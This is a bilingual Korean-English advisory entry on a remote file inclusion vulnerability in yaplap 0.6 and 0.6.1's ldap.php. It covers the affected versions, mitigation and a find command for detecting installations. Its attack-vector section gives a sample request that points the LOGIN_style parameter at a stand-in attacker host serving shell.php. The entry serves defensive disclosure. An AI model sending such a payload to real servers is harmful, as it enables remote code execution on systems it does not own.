🇰🇷 한글 설명
yaplap 0.6 및 0.6.1 버전의 ldap.php에서 LOGIN_style 매개변수를 통한 원격 파일 인클루전(RFI) 취약점이 존재합니다. 공격자는 악의적인 URL을 전달하여 서버에서 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
LDAP 관리자 도구의 LOGIN_style 설정에 외부 파일 경로를 입력할 수 있는 취약점입니다. 공격자가 악의적인 파일을 지정하면 서버가 그 파일을 실행하게 됩니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in ldap.php in Brian Drawert Yet Another PHP LDAP Admin Project (yaplap) 0.6 and 0.6.1 allows remote attackers to execute arbitrary PHP code via a URL in the LOGIN_style parameter.
📍 영향받는 시스템
Yet Another PHP LDAP Admin Project (yaplap) 버전 0.6, 0.6.1
⚔️ 공격 벡터
HTTP GET/POST 요청으로 LOGIN_style 매개변수에 원격 PHP 파일 URL 전달 (예: ldap.php?LOGIN_style=http://attacker.com/shell.php)
🛡️ 대응 방법
yaplap를 최신 버전으로 업그레이드하거나 allow_url_include=Off로 PHP 설정 변경 후 입력값 검증 추가
🔧 검증 코드
yaplap 설치 디렉토리가 발견되면 해당 버전을 확인하여 0.6 또는 0.6.1 버전인지 검증
find / -name 'yaplap*' -o -name 'ldap.php' 2>/dev/null | grep -i yaplap